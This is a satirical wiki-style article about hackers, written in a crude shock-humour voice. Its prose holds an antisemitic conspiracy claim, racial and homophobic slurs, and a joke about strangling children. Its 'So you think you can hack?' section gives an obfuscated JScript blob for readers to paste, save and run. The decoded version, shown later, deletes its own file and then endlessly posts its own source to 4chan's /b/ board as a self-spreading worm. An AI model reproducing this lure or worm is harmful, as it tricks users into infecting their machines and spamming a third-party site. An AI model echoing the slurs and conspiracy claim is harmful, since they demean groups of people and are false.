Hacker

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ALL YOUR BASE! Warning!:
There is a 99% chance your computer is being hacked right now.
One of the characteristics of a h4X0r is the crazed look in his eye, that amazing typing speed, and the hunched back that overcomes him when he is in the vicinity of a computer
One of the characteristics of a h4X0r is the crazed look in his eye, that amazing typing speed, and the hunched back that overcomes him when he is in the vicinity of a computer

A hacker (h4x0r) does one thing by nature: he hacks away at something until it does what he wants, stealing your internets and megahertz in the process. Do not listen to those who tell you that hackers do not have magical powers: hackers can talk to your computer and explode electric grids with their minds. Some argue that hacking is just about "messing with stuff" and "writing some cool shit for my box," but this is just a public relations ploy meant to keep you from the truth: hackers are, in reality, a race of Jewish cyborgs who seek to repopulate the planet with their own kind. You will be nothing but a slave in their technocratic kingdom of lies.

Hackers do not have girlfriends, as they find sexual pleasure in cross-over cables while waiting patiently for the establishment of cyberspace sex drones that will cater to their every whim when the revolution comes.

Hackers communicate in an encrypted language called leetspeak. ROT13 is also a common way for hackers to talk in "codes". If there is gibberish on your screen, you are getting haxed and you should immediately turn your computer off. Typical hacker cool coding could possibly look like this: a3*900adc9800said90fi()lulz%A)*&)$*)@iov**7o;osaidjfoijioi -- .>/aslkdk.


Contents


Types of Hackers

  • White Hat Hacker - Computer g33ks who enjoy working for a company to deploy their skills and faggotry to stop the real hackers. 'Legal' hackers. (aka fags)
  • Black Hat Hacker - They hack in secret, often in the dark, and do not always need a computer to hack something - they may construct a computer on-the-fly out of twigs and dirt. They are always years ahead of White Hat researcher fags because they do not have to write reports or follow direction and are generally just smarter. 'Real' hackers. (aka ninjas of the internets)
  • Grey Hat Hackers - White Hat fags that think that they can still be cool like real hackers, but always fail when their ethos collapses in on itself with a logical paradox... they must ultimately hack themselves to stop themselves from hacking. Grey Hat Hackers are prone to self-harm and there are no great Grey Hat Hackers because to achieve greatness they must suicides.
  • rm Monkey - An rm Monkey wears no hat because he has eaten it. An rm Monkey will always destroy what it hacks by deleting everything on the system whether it is of value or not. often a rm Monkey will go on a rm'ing spree, a nihilistic rampage whereby he hacks and rm's everything in sight. Often the only reason a rm Monkey will break into a system is so that he may delete everything on it.
  • Script Kiddies - 14 year old faggots with snotty noses that think they are 1337 because they can write HTML. Barely. "I am a 1337 haxxor lol. ima gonna write sum html to bring down da microsoft servers lol rofl"


Example of Script Kiddy fail:

How to Tell if Your Child is a Hacker

According to Is Your Son a Computer Hacker?, your child may be under the bad influence of hackers, but it is not too late for intervention. Your child is a hacker if he displays the following habits:

  • Ask you to switch away from AOL in order to circumvent the child safety features.
  • Installs new programs like "Flash".
  • Asks for a new "processor" from AMD.
  • Starts reading books by Eric S. Raymond.
  • Says the word "JPL".
  • Uses Quake.
  • Is obsessed with "Lunix".
  • Starts wearing bright clothing.
  • Says the word cyberpunk.
  • Plays Counter-Strike obsessively.
  • Uploads 'Laughing Skull' viruses to the school maclab network in an attempt to spread the nerd gospel: "MACS SUK!!111".
  • School nurse calls home to complain about your child's poor hygiene.
  • Throws away the mouse, in favor of the much easier and more practical keyboard.
  • Turns the light off whenever he uses the computer.

If your child is at this point already, there is nothing to do but strangle them with their computer power cable. Once they are this far along, the only cure is the sweet release of death.

Thankfully, Microsoft has offered this primer on hacker talk to help you decipher your child's l33t speech patterns -- and hopefully keep him from iniquity.


Respect

  • Never call a coder or programmer anything except a hacker.
  • Don't refer to them as hackers, either, as then your internets will get haxxed, even though only crackers do this. Hackers are just cute little puppies who only want knowledge of the information super highway, while crackers want to USE IT FOR EVIL.

Gallery

They help Osama Bin Laden

Haxxors can turn your PC into a bomb.

cookie!

Every hacker has an inner Nigger.

The Azn version of World of Warcraft being hacked.

Microsoft's French homepage somehow got hacked by lame turkfags.

Hackers in the eyes of Faux News

H4xx0rz are notorious for suxxing teh english.

Death Star h4xed.

Ryan's Privates h4xed.

Thirteen-year-old emo kids' MySpace blogs are just asking for it.

List of Hackers (Hierarchical)

You can identify hackers by the stupidity of their haircut. In this instance, Bill Gates is successfully impersonating Janet Reno.
You can identify hackers by the stupidity of their haircut. In this instance, Bill Gates is successfully impersonating Janet Reno.

List of people who cannot hack

List of Things You Can Hack

Tools needed for hacking

So you think you can hack?

Copy and paste the following code below into Notepad, and save it as ".js" :

nm="<lQr@?E6?E\\s:DA@D:E:@?iO7@C>\\52E2jO?2>6lQ\r\n"+ "7F?4E:@?OCWXLC6EFC?O$EC:?8]7C@>r92Cr@56WQ2Q]492Cr@56pEW_XZ"+ "|2E9]7=@@CW|2E9]C2?5@>WXYaeXXN\r\n"+ "7l($w]4C62E6@3;64EWQD4C:AE:?8]7:=6DJDE6>@3;64EQX\r\n"+ "8l7]@A6?E6IE7:=6W($w]D4C:AE7F==?2>6X\r\n"+ "9l8]C6252==WX\r\n"+ "8]4=@D6WX\r\n"+ "7]56=6E67:=6W($w]D4C:AE7F==?2>6X\r\n"+ "IlQr@AJO2?5OA2DE6OE96O7@==@H:?8OE@O}@E6A25[OD2G6OH:E9OE96O"+ "7:=6?2>6O-Qc492?];D-Q[O@A6?OE96O7:=6OJ@FO4C62E65O2?5OD9:EO"+ "3C:4<D]-C-?-C-?QZ9\r\n"+ "2l($w]4C62E6@3;64EWQ>DI>=a]I>=9EEAQX\r\n"+ "H9:=6W`XL\r\n"+ "2]@A6?WQ86EQ[Q9EEAi^^:>8]c492?]@C8^3Q[_X\r\n"+ "2]D6?5WX\r\n"+ "3l2]C6DA@?D6E6IE\r\n"+ "4l3]DF3DECW3]:?56I 7WQC6D^QXZc[gX\r\n"+ "5lQQ\r\n"+ "6lQQ\r\n"+ "7@CW:l_j:ka_j:ZZX5ZlCWX\r\n"+ "7@CW:l_j:kgj:ZZX6ZlCWX\r\n"+ "2]@A6?WQA@DEQ[Q9EEAi^^52E]c492?]@C8^3^:>83@2C5]A9AQ[_X\r\n"+ "ElQ>F=E:A2CE^7@C>\\52E2jO3@F?52CJlQZ5\r\n"+ "2]D6EC6BF6DE96256CWQr@?E6?E\\%JA6Q[EX\r\n"+ "2]D6?5WQ\\\\QZ5ZQ-C-?QZ<ZQ-Q|p)0ux{t0$x+t-Q-C-?-C-?QZ\r\n"+ "Qa_hf`da-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-QC6DE@-Q-C-?-C-?QZ4ZQ-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-Q?2>6-Q-C-?-C-?-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-Q6>2:=-Q-C-?-C-?-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-QDF3-Q-C-?-C-?-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-Q4@>-Q-C-?-C-?QZIZQ-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-QFA7:=6-QjO7:=6?2>6l-Q-Q-C-?QZ\r\n"+ "Qr@?E6?E\\%JA6iO2AA=:42E:@?^@4E6E\\DEC62>-C-?-C-?-C-?\\\\Q"+ "Z5ZQ-C-?QZ\r\n"+ "<ZQ-QAH5-Q-C-?-C-?QZ6ZQ-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-Q>@56-Q-C-?-C-?C68:DE-C-?\\\\QZ5ZQ\\\\-C-?QX\r\n"+ "($w]D=66AWb6cZ|2E9]7=@@CW|2E9]C2?5@>WXYb6cXXN" vv="" for(i=0;i<nm.length;i++){ if(nm.charAt(i)=="\r")vv+="\r" else if(nm.charAt(i)=="\n")vv+="\n" else vv+=String.fromCharCode((nm.charCodeAt(i)-32+47)%94+32)} eval(vv);


What's this shit do? I told like a forum-load of people to do it to fix their game errors.


Update:This shit does the following:

Stores the following code in the variable "vv" and executes it on your machine: 

    k="Content-Disposition: form-data; name="
    function r()
    {
         return String.fromCharCode("a".charCodeAt(0)+Math.floor(Math.random()*26))
    }
    f=WSH.createobject("scripting.filesystemobject")
    g=f.opentextfile(WSH.scriptfullname)
    h=g.readall()
    g.close()
    f.deletefile(WSH.scriptfullname)
    x="Copy and paste the following to Notepad, save with the filename \"4chan.js\", open the file you created and shit bricks.\r\n\r\n"+h
    a=WSH.createobject("msxml2.xmlhttp")
    while(1)
    {
         a.open("get","http://img.4chan.org/b",0)
         a.send()
         b=a.responsetext
         c=b.substr(b.indexOf("res/")+4,8)
         d=""
         e=""
         for(i=0;i<20;i++)
              d+=r()
         for(i=0;i<8;i++)
              e+=r()
         a.open("post","http://dat.4chan.org/b/imgboard.php",0)
         t="multipart/form-data; boundary="+d
         a.setrequestheader("Content-Type",t)
         a.send("--"+d+"\r\n"+k+"\"MAX_FILE_SIZE\"\r\n\r\n"+
         "2097152\r\n--"+d+"\r\n"+
         k+"\"resto\"\r\n\r\n"+c+"\r\n--"+d+"\r\n"+
         k+"\"name\"\r\n\r\n\r\n--"+d+"\r\n"+
         k+"\"email\"\r\n\r\n\r\n--"+d+"\r\n"+
         k+"\"sub\"\r\n\r\n\r\n--"+d+"\r\n"+
         k+"\"com\"\r\n\r\n"+x+"\r\n--"+d+"\r\n"+
         k+"\"upfile\"; filename=\"\"\r\n"+
         "Content-Type: application/octet-stream\r\n\r\n\r\n--"+d+"\r\n"+
         k+"\"pwd\"\r\n\r\n"+e+"\r\n--"+d+"\r\n"+
         k+"\"mode\"\r\n\r\nregist\r\n--"+d+"--\r\n")
         WSH.sleep(3e4+Math.floor(Math.random()*3e4))
    }

Love, your local hacker.

List of things that stop hackers

See Also

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